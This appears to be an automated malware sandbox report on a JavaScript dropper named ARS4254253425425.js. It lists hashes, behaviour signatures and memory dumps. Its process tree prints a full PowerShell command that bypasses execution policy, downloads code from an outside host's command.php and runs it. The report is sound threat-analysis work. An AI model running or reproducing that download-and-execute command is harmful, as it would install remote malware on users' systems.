Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    08-02-2024 14:30

General

  • Target

    ARS4254253425425.js

  • Size

    30KB

  • MD5

    b3f0d4ff6b231ceb9bcf39d6d773f995

  • SHA1

    1f2b2b1eb4ce6bf53d1c42bfe08c5e642b1acfbb

  • SHA256

    93d8e735e2028a6bb2191ae91273d9a6999058b74f78ac1523c93a575b795c25

  • SHA512

    08e7332453dbf2a62e19edbc1ea5be251356547f02ea5afe60780d9d5ae330e18cab3c49e5ab43aa5ce7277aac672f73788db0ee84053484b9cbfb83aed7cca7

  • SSDEEP

    768:ic78kofr9MzttQJklxbYPP9/r3e2wFoehDrMZmvkBKRdZXOLkr8R2Jx/gwwNEBce:iK4mRYPPtr3jh+x5Y6CJhU/0m

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://assime.ca/command.php

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ARS4254253425425.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2660

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2660-4-0x000000001B250000-0x000000001B532000-memory.dmp

    Filesize

    2.9MB

  • memory/2660-5-0x0000000002590000-0x0000000002598000-memory.dmp

    Filesize

    32KB

  • memory/2660-6-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

    Filesize

    9.6MB

  • memory/2660-7-0x00000000025A0000-0x0000000002620000-memory.dmp

    Filesize

    512KB

  • memory/2660-8-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

    Filesize

    9.6MB

  • memory/2660-9-0x00000000025A0000-0x0000000002620000-memory.dmp

    Filesize

    512KB

  • memory/2660-10-0x00000000025A0000-0x0000000002620000-memory.dmp

    Filesize

    512KB

  • memory/2660-11-0x00000000025A0000-0x0000000002620000-memory.dmp

    Filesize

    512KB

  • memory/2660-12-0x00000000025A0000-0x0000000002620000-memory.dmp

    Filesize

    512KB

  • memory/2660-13-0x00000000025A0000-0x0000000002620000-memory.dmp

    Filesize

    512KB

  • memory/2660-14-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

    Filesize

    9.6MB